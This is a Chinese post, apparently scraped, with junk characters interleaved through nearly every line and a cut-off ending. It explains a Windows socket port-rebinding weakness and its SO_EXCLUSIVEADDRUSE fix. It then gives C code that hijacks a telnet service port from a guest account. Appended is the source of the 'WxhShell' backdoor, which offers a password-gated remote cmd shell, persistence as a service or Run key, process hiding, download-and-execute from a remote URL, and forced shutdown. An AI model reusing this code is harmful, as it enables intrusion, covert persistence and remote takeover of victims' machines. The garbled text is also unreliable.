在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#_yQv? J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/dTy%hZC} @$FE}j_ saddr.sin_family = AF_INET;
|1^>n,C 3wXmX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>Gbj1>C} EtN@ 6xP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bc}X.IC vW4~\] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
TR!^wB<F 1);$#Dlt
k 这意味着什么?意味着可以进行如下的攻击:
7q bGA K b *IJ + 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QS2J271E} [?)=3Pp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hW*2Le!I DO<eBq\O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VM{`CJ2 H+ra w/" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
HZMs],GX QX(x6y>Q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#.O,JG#H "bZV<;y6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\8\)5#? l@`D;m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
MWf ]U V~LZ%NZ8 #include
eeIh }t>[ #include
x4v@Kk/ #include
N[4v6GS #include
}HS:3Dt DWORD WINAPI ClientThread(LPVOID lpParam);
kg[u@LgvoN int main()
Ke[doQ#c {
dDH+`;$. WORD wVersionRequested;
<4jQbY; DWORD ret;
y7SOz'd WSADATA wsaData;
:0o
$qz2 BOOL val;
h"VQFqQy SOCKADDR_IN saddr;
Tk s;,C SOCKADDR_IN scaddr;
cT{iMgdI? int err;
M9Gs^ SOCKET s;
.4={K)kz|F SOCKET sc;
5zJkPki int caddsize;
VlW#_. HANDLE mt;
<B6@q4Q DWORD tid;
${'gyD wVersionRequested = MAKEWORD( 2, 2 );
ln.kEhQ3B err = WSAStartup( wVersionRequested, &wsaData );
8D]:>[|E if ( err != 0 ) {
n+@}8;oeP printf("error!WSAStartup failed!\n");
rUfW0 return -1;
3{_A zL }
:1u>T3L.z saddr.sin_family = AF_INET;
ga#,42)H ,CW]d#P| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
g!n1]- 1 ,oe
e' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-Hzn7L saddr.sin_port = htons(23);
^|}C!t+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2{s ND {
bHlG(1uf printf("error!socket failed!\n");
qG"|,bA
return -1;
j`Lf/S!} }
}@yvw*c val = TRUE;
+C7
1".i- //SO_REUSEADDR选项就是可以实现端口重绑定的
Hxr2Q]c?u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/R#-mY {
I Vy,A7f printf("error!setsockopt failed!\n");
Bc}<B:q%b return -1;
`7jm }
7'FDI`e[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
X:-X3mV9{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3(P^PP8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
475yX-A vy/U""w` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kF'^!Hp {
';V(sRU@ ret=GetLastError();
I^Ichn printf("error!bind failed!\n");
vZ
4Z+;. return -1;
Y~1}B_ }
etf ft8 listen(s,2);
kFv\V while(1)
7UHqiA`L {
ih`/1n caddsize = sizeof(scaddr);
Z_' %'&Y //接受连接请求
TUhp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*pP"u::S if(sc!=INVALID_SOCKET)
`.;7O27A^% {
m6V1m0M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gT @YG; if(mt==NULL)
IcL3.(!]l {
8DTk<5mW~ printf("Thread Creat Failed!\n");
1W~-C B> break;
`.aL>hf }
0!=e1_ }
3sGrX"0D CloseHandle(mt);
OdQ>h$ gZ }
o0 -e,F>u closesocket(s);
^FgNg'"[3 WSACleanup();
J'9&dt return 0;
OfTcF_% }
xmKa8']x DWORD WINAPI ClientThread(LPVOID lpParam)
j-gLX {
;TSnIC)c SOCKET ss = (SOCKET)lpParam;
2BH>TmS SOCKET sc;
a2/r$Tgm unsigned char buf[4096];
<6<uO\B\ SOCKADDR_IN saddr;
w:FH2* long num;
&_4A6 DWORD val;
Z.6`O1OY}? DWORD ret;
wdBytH6r. //如果是隐藏端口应用的话,可以在此处加一些判断
|UnTd$m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?f']*pD8 saddr.sin_family = AF_INET;
,b>cy&ut saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
e"r'z
n saddr.sin_port = htons(23);
UQ|0Aqwq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M0Z>$Az]t {
_WK+BxH printf("error!socket failed!\n");
2?t(%uf] return -1;
e::5|6x }
ORQGay val = 100;
iN<5[ztd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6?*iIA$b {
SJU93n"G/ ret = GetLastError();
n!Y.?mU6 return -1;
("/*k }
$O}gl Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IX7d[nm39 {
Ccz:NpK+ ret = GetLastError();
';aPoaO % return -1;
^\N2
Iu>6 }
p5F[( H|9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W\.f:"2qr {
/<:9NP'^ printf("error!socket connect failed!\n");
#*S/Sh?Q closesocket(sc);
eE7Rd> closesocket(ss);
jLr8?Hyf return -1;
>qtB27jV }
_?G\^^ while(1)
D{N1.rSxv {
)\mklM9Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a]X6) 6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
wT*N{). //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
tHoFnPd\| num = recv(ss,buf,4096,0);
3 tXtt@Yy if(num>0)
9}}D -&Mc send(sc,buf,num,0);
v@>hjie else if(num==0)
P]Gsc break;
oeIB1DaI num = recv(sc,buf,4096,0);
XQj`KUO@ if(num>0)
9q* sR1 send(ss,buf,num,0);
Br#]FB|tD else if(num==0)
w-/bLg[L?$ break;
s #L1:L }
:\80*[=;Z closesocket(ss);
yrsP'th closesocket(sc);
}GkEv}~t return 0 ;
=1yUH9\,b }
BOwkC;Q[ ~Ag!wj ,?&hqM\ ==========================================================
(3]7[h7 CKh-+8j 下边附上一个代码,,WXhSHELL
7%7_i%6wP $6y1';A ==========================================================
^[zF_df <R3S{ty #include "stdafx.h"
EXJ>Z o{-PT' #include <stdio.h>
Nq*\{rb #include <string.h>
0w+hf3K+: #include <windows.h>
c"O\fX #include <winsock2.h>
k9^P#l@p #include <winsvc.h>
[j93Mp #include <urlmon.h>
Q8:u 1$} U +mx@C_ #pragma comment (lib, "Ws2_32.lib")
JC =Bxv #pragma comment (lib, "urlmon.lib")
8:s3Q`O |AFF*]e S #define MAX_USER 100 // 最大客户端连接数
^S<Z'S #define BUF_SOCK 200 // sock buffer
WX0@H[$i# #define KEY_BUFF 255 // 输入 buffer
;U20g:K Q 5@~0 #define REBOOT 0 // 重启
55$by.rf? #define SHUTDOWN 1 // 关机
).ugMuk <EBp X #define DEF_PORT 5000 // 监听端口
sXhtn'<v 8:t-I]dzk #define REG_LEN 16 // 注册表键长度
o.Cj+`0} 5 #define SVC_LEN 80 // NT服务名长度
.mok.f<G_m m%Ef]({I // 从dll定义API
kN}.[enI~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
l>=c] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R8],}6,;E} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zb;'}l;+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4&y_+ L\-T[w),z7 // wxhshell配置信息
j ^_G struct WSCFG {
2iH,U int ws_port; // 监听端口
#Jm_~k char ws_passstr[REG_LEN]; // 口令
'|]zBpz int ws_autoins; // 安装标记, 1=yes 0=no
|fw+{f char ws_regname[REG_LEN]; // 注册表键名
5n9F\T5 char ws_svcname[REG_LEN]; // 服务名
sWX char ws_svcdisp[SVC_LEN]; // 服务显示名
3}h&/KN{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
a#raUF7e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@#T?SNIL5 int ws_downexe; // 下载执行标记, 1=yes 0=no
p O:
EJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?L'k2J F5MWxAS,> };
s#d# *pgzh ZnJnjW PQ // default Wxhshell configuration
t8P>s})[4 struct WSCFG wscfg={DEF_PORT,
55!9U :{ "xuhuanlingzhe",
:\bttPw5 1,
@8CD@SDv "Wxhshell",
LZoth+: "Wxhshell",
Aga7X@fV( "WxhShell Service",
hVGakp9WE "Wrsky Windows CmdShell Service",
RuXK` ySv "Please Input Your Password: ",
CLYcg$V 1,
0c3G_I= "
http://www.wrsky.com/wxhshell.exe",
lZ.,"F@ "Wxhshell.exe"
&[Sw:{&*jv };
KX9ZwsC0 )E4COw+ // 消息定义模块
qlgh$9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Uc6U!X char *msg_ws_prompt="\n\r? for help\n\r#>";
~Snw': char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qy-BZ%3 char *msg_ws_ext="\n\rExit.";
2XXEg>CU char *msg_ws_end="\n\rQuit.";
mYy3KqYu char *msg_ws_boot="\n\rReboot...";
d->b9 char *msg_ws_poff="\n\rShutdown...";
:ZzG5[o3 char *msg_ws_down="\n\rSave to ";
?&X6VNbU sP+S86
u char *msg_ws_err="\n\rErr!";
P0z "Eq0S char *msg_ws_ok="\n\rOK!";
bu hxC5i% yqBu7E$X char ExeFile[MAX_PATH];
Iy,)>V%iZV int nUser = 0;
KGI]W|T HANDLE handles[MAX_USER];
b#y}VY)? int OsIsNt;
[2FXs52 F;_;lRAb SERVICE_STATUS serviceStatus;
#15q`w SERVICE_STATUS_HANDLE hServiceStatusHandle;
>)5vsqGZaK ;J5oO$H+68 // 函数声明
3;M!]9ms int Install(void);
3 $kZu int Uninstall(void);
=k8A7P int DownloadFile(char *sURL, SOCKET wsh);
+L49
pv5 int Boot(int flag);
~}M{[6! void HideProc(void);
keWgbj int GetOsVer(void);
d@l;dos), int Wxhshell(SOCKET wsl);
ILVbbC`D void TalkWithClient(void *cs);
X:e'@]Z)? int CmdShell(SOCKET sock);
J`V6zGgW int StartFromService(void);
1U9iNki int StartWxhshell(LPSTR lpCmdLine);
UbYKiLDF) Mr1pRIYMd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Bo0y"W[+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
$`5DGy ?RU u3<])}I' // 数据结构和表定义
Z6*RIdD> SERVICE_TABLE_ENTRY DispatchTable[] =
-Kc-eU-&q {
|/(5GX,X {wscfg.ws_svcname, NTServiceMain},
^Gyl:hN {NULL, NULL}
%kUJ:lg;d };
z^b\hR x``!t>)O // 自我安装
~Ep&:c4:D int Install(void)
asJYGqdF {
e-s@@k
char svExeFile[MAX_PATH];
Vnl~AQfk| HKEY key;
#2MwmIeA strcpy(svExeFile,ExeFile);
m:^@AR1%d %*/[aq, # // 如果是win9x系统,修改注册表设为自启动
'v,W
gPe if(!OsIsNt) {
=DCQ!02 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ydFY<Mb(o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>:xnjEsi$/ RegCloseKey(key);
>2|#b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K
l4", RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"s*{0'jo RegCloseKey(key);
kQb0pfYs return 0;
QxkfP %_g }
6JL
7ut }
|-R::gm }
4R0_%x6vG else {
zZRqb/20 j[HKC0C6 // 如果是NT以上系统,安装为系统服务
6RF01z|~_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ENmo^O#,u if (schSCManager!=0)
W`\H3?C`xQ {
t.zSJ|T_&O SC_HANDLE schService = CreateService
a=J?[qrx (
CVUDN2 schSCManager,
A1@-;/H3 wscfg.ws_svcname,
sDF J wscfg.ws_svcdisp,
YU"Am ! SERVICE_ALL_ACCESS,
CJC|%i3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\x+DEy'4;5 SERVICE_AUTO_START,
\?g%>D:O; SERVICE_ERROR_NORMAL,
(r|T&'yK svExeFile,
>hhd9 NULL,
Uyh NULL,
M&K@><6k,k NULL,
ufJFS+? NULL,
IQ_0[ NULL
Cjh&$aq );
P]TT if (schService!=0)
SN+Bmdup {
V?"^Ff3m! CloseServiceHandle(schService);
=UV?Pi*M> CloseServiceHandle(schSCManager);
pta%%8": strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|Bn=$T] strcat(svExeFile,wscfg.ws_svcname);
.$yw;go3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4/jY;YN,2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J!H5{7.efN RegCloseKey(key);
pFK
|4u return 0;
(kHR$8GFM }
`%=Jsi0.Nq }
bXW)n<y CloseServiceHandle(schSCManager);
8iCIs=06 }
sH]AB=_ }
*HC8kD a%$ e%P;Jj476 return 1;
29]8[Z,4 }
H )}WWXK K c<z; // 自我卸载
zm:=d>D.. int Uninstall(void)
UVLcR {
!vB%Q$!x HKEY key;
5B2,=?+o R',w~1RV' if(!OsIsNt) {
zbR.Lb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"tark' RegDeleteValue(key,wscfg.ws_regname);
4Rm3'Ch RegCloseKey(key);
xsvs3y | if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7L]?)2= RegDeleteValue(key,wscfg.ws_regname);
Gh
pd
k; RegCloseKey(key);
`SW
" RLS3 return 0;
2mO#vTX4 }
mx[^LaR>v }
o`U\Nhq }
JA}'d7yEa else {
[E^X=+Jnz g-^m\>B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jysV%q 3 if (schSCManager!=0)
Dmi;# WY {
;Y'\: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
</Id';|v if (schService!=0)
n96gDH* {
s`J=:>9* if(DeleteService(schService)!=0) {
e^GW[lT CloseServiceHandle(schService);
\,EPsQV0? CloseServiceHandle(schSCManager);
VqrMi *W6 return 0;
L1xD$wl }
iK]g3ew| CloseServiceHandle(schService);
v (h Xk]S }
=s]{ CloseServiceHandle(schSCManager);
<f6PULm }
J){\h-4 }
ZX;k*OrW }^ <zVdwp return 1;
FNM"!z }
_PbfFY # Mh|`XO.5I // 从指定url下载文件
w3N%J>4_E int DownloadFile(char *sURL, SOCKET wsh)
DRoxw24 {
l{U 3; HRESULT hr;
6y_Z'@L char seps[]= "/";
[J`G`s! char *token;
gL"}5 3A char *file;
?<?C*W_ char myURL[MAX_PATH];
KUut C
: char myFILE[MAX_PATH];
+I n"OR% c.Y8CD.tqL strcpy(myURL,sURL);
;8T=uCi token=strtok(myURL,seps);
~BZV:Es while(token!=NULL)
KaE;4gwM {
bW^QH-t file=token;
HdUW(FZ token=strtok(NULL,seps);
KL mB }
-C}59G8 grdyiBSVn GetCurrentDirectory(MAX_PATH,myFILE);
_ICDtG^ strcat(myFILE, "\\");
j~H`*R=ld# strcat(myFILE, file);
`_A?a_[* send(wsh,myFILE,strlen(myFILE),0);
PJ@ ,01 send(wsh,"...",3,0);
[Be53U{= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"T%'Rp`j| if(hr==S_OK)
p.] .M"A return 0;
AV4HX\`{P0 else
xJLO\B+gM return 1;
TY\"@(Q|G <57l|}8 }
/VO@>Hoh _0q~s@- // 系统电源模块
8{fz0H.<? int Boot(int flag)
Q|KD/s?? {
&]F|U3 HANDLE hToken;
><MgIV TOKEN_PRIVILEGES tkp;
Gy6qLM } !<cph if(OsIsNt) {
Qz(T[H5%W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qetP93N_* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fsc~$^.~\ tkp.PrivilegeCount = 1;
DIp:S&q2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
wV&f|JO0+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
doO
Ap9% if(flag==REBOOT) {
<lmJa# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
So*Wk " return 0;
@1&;R }
Fg\| e% else {
wv.Ulrpx. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s]vJUC,s return 0;
Sje0:;;| }
HL}~W}!j }
%
r Y8 else {
>^f)|0dn)E if(flag==REBOOT) {
Rfc&OV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%Fg8l{H3 return 0;
,e FQ}&^A }
N%rL=zE else {
8H#c4%by) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Owpg]p yVD return 0;
,PMb9O\B }
B/D\gjb }
E}' d,v#Z{ n~ >h4=h return 1;
+F~0\#d }
iQzX-a|4] z2Y_L8u2 // win9x进程隐藏模块
BZ;}ROmqk void HideProc(void)
Ym.l@( {
Rs F3#H G(OT"+O, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nN`Z0? if ( hKernel != NULL )
'<&EPUO {
-)OkG#J@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}\ 939Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]]=-AuV. FreeLibrary(hKernel);
U 'CfP9= }
myWmU0z/ TG63 return;
!jnqA Z }
[Ql?Y$QB`4 rbK#a)7 // 获取操作系统版本
|aS~"lImh int GetOsVer(void)
Cj !i)- {
<duBwkiG OSVERSIONINFO winfo;
/iTUex7T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
> 1r[]&8 GetVersionEx(&winfo);
YNg\"XjJM< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~1=.?Ho return 1;
?z@v3(b[ else
% O&m#)| return 0;
hD$p;LF }
:PD`PgQ (~7m"? // 客户端句柄模块
}(+=/$C"# int Wxhshell(SOCKET wsl)
uZo`IK J {
prlyaq;4 SOCKET wsh;
G/fP(o-Wd struct sockaddr_in client;
! 2Xr~u7a DWORD myID;
rv,NQZ 6MQs \ J6. while(nUser<MAX_USER)
1<W4>~,wj {
rwL=R, int nSize=sizeof(client);
%jZp9}h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
vLBee>$
if(wsh==INVALID_SOCKET) return 1;
\,l.p_< 8|5Gv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{b|3]_-/ if(handles[nUser]==0)
yE.495 closesocket(wsh);
)l#%.Z9 else
:Hzz{' nUser++;
(:?5 i` }
pHj[O?F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
nIyROhZ lrs0^@.+ return 0;
;]gsJ9FK< }
AaVI%$ obAs<nk // 关闭 socket
d; mmM\3] void CloseIt(SOCKET wsh)
8! H8[J {
ASKAgU"h closesocket(wsh);
X,WQ'|rC nUser--;
<JL\?)}n ExitThread(0);
s-,=e }
]pOYVf *$ C#U<k0R // 客户端请求句柄
z^gQ\\,4 void TalkWithClient(void *cs)
`1fJ:b/M {
H.YIv50E 4|>
rwQ~t SOCKET wsh=(SOCKET)cs;
p^KlH=1n.6 char pwd[SVC_LEN];
Rwc[:6;fn char cmd[KEY_BUFF];
r,2Xu char chr[1];
"x#]i aDjf int i,j;
L_THU4^j
mL:m;>JJ n while (nUser < MAX_USER) {
2^)D
.& c*x J=Gz6d if(wscfg.ws_passstr) {
QKp+;$SE' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^&+zA,aL,A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cWN d<=Jp //ZeroMemory(pwd,KEY_BUFF);
MzEm*`< i=0;
H GO#e while(i<SVC_LEN) {
!,cQ'*<W8- Z/2,al\ // 设置超时
f >mhFy fd_set FdRead;
,f8}q]FTA struct timeval TimeOut;
/S:w&5e FD_ZERO(&FdRead);
MU_!&(X_ FD_SET(wsh,&FdRead);
S}oG.r
9 TimeOut.tv_sec=8;
)-bD2YA{ TimeOut.tv_usec=0;
5h`m]#YEG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
NuC-qG# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r NxrQ K\RWC4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Pm$F2YrO3 pwd
=chr[0];
#4vV%S
if(chr[0]==0xd || chr[0]==0xa) { `Y\gSUhzS
pwd=0; yGb a
break; F&=I7i
} S~+O`y^
i++; E2^ KK:4s
} Uc_jQ4e_
U7^7/s/.
// 如果是非法用户,关闭 socket .:w#&yM [U
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f ,tW_g
} \hs/D+MCk
ppAmN0=G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oR*ztM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ q%mu
w Y8@1>ah
while(1) { ?qju
DD
3>RcWy;1i
ZeroMemory(cmd,KEY_BUFF); Oo FgQEr@
fuq(
2&^
// 自动支持客户端 telnet标准 "6?lQw
e
j=0; iaY5JEV:CA
while(j<KEY_BUFF) { aXMv(e+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yC0C`oC
cmd[j]=chr[0]; ZU=,f'bU
if(chr[0]==0xa || chr[0]==0xd) { r
eGm>
cmd[j]=0; ^'m\D;
break; *6:v}#b[
} b<[jaI0
j++; xC<=~(
} qs=Gj?GwGQ
*i@sUM?K
// 下载文件 ,Z^Ca15z
if(strstr(cmd,"http://")) { eymi2-a<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ? m&IF<b
if(DownloadFile(cmd,wsh)) :.Y|I[\E%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVa!.q_3
else O/mR9[}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r]v&t
} &=YSM.G
else { yH*hL0mO
ODm&&W#*
switch(cmd[0]) { %B@!
>^dyQyK
// 帮助 $0_^=DEW
case '?': { v2d<o[[C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?-pi,O~(p
break; BWWq4mdb{
} hw;0t,1
// 安装 _}D%iJg#
case 'i': { KE<kj$
if(Install()) .Y;b)]@f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aYqm0HCT
else :pRF*^eU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +#4]o
}6G
break; tv0Ha A
} T=WNBqKo]
// 卸载 [!EXMpq'
case 'r': { hR-K@fS%l'
if(Uninstall()) aR _NyA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP7G[%=v
else nTPB,QE<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FKC\VF
break; GD!-
qH
} e9&+vsRmA
// 显示 wxhshell 所在路径 _g[-=y{Bb
case 'p': { '_V
#;DI
char svExeFile[MAX_PATH]; +IrZ
;&oy
strcpy(svExeFile,"\n\r"); 6Opa{]
strcat(svExeFile,ExeFile); r088aUO
P
send(wsh,svExeFile,strlen(svExeFile),0); ^5>s7SGB"
break; $_sYfU9
} jo}1u_OJ
// 重启 .jA\f:u#
case 'b': { Z^+rQ.%n"&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qe?Qeh(!X
if(Boot(REBOOT)) +Gow5-(
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
g5i#YW
else { []zua14F6
closesocket(wsh); 8'_ 0g[s
ExitThread(0); /prYSRn8
} Z0$] tS
break; 9t?L\
} Vo\H<_=G
// 关机 >)NQH9'1
case 'd': { eX"''PA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJHp6)2
if(Boot(SHUTDOWN)) 3+ =I;nj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk%b9Ko<F
else { f8=]oa]
closesocket(wsh); 6W&_2a7*
ExitThread(0); S/.^7R7{f
} oaK.kOo
break; JEhm1T
} ,X68xk.'
// 获取shell Zsj`F9*e
case 's': { e`iEy=W
CmdShell(wsh); : lgi>^
closesocket(wsh); Ow@v"L;jF!
ExitThread(0); )1lu=gc
break; zC=a3
} ^
q?1U?4
// 退出 je%l dY]/@
case 'x': { UX2lPgKdLz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hJf2o
CloseIt(wsh); E=AVrv5T
break; dY!u)M;~~
} &J$##B
// 离开 OX\$ nQ\o
case 'q': { W\8Ln>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z(e^ iH
closesocket(wsh); ?qmp_2:WU
WSACleanup(); _'!kuE,*1
exit(1); GS;%zdH~
break; e)@3m.
} j+kC-U;
} 8md*wEjk
} &^!h}D%T/
8AL\ST51x"
// 提示信息 w<NyV8-hL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <??umkV
} mrM4RoO
} Qhn;`9+L
fvqd'2 t
return; T2=HG Z
} s_[VHPN
DMn4ll|
// shell模块句柄 $4m*kQ
int CmdShell(SOCKET sock) N|K4{Frm
{ I4t*?
STARTUPINFO si; TTZe$>f
ZeroMemory(&si,sizeof(si)); ~aTKG|74
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <jA105U"m>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p?# pT}1
PROCESS_INFORMATION ProcessInfo; nlc.u}#
char cmdline[]="cmd"; -tLO.JK<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5M F#&v
return 0; C&<~f#lB
} pHC/(6?
.c+9P<VmC}
// 自身启动模式 QkQ!Ep(
int StartFromService(void) :Ht;0|[H
{ )nfEQ)L;h}
typedef struct A m"(+>W21
{ YcDe@Zuwn
DWORD ExitStatus; @S^ASDuQU7
DWORD PebBaseAddress; {ci.V*:"
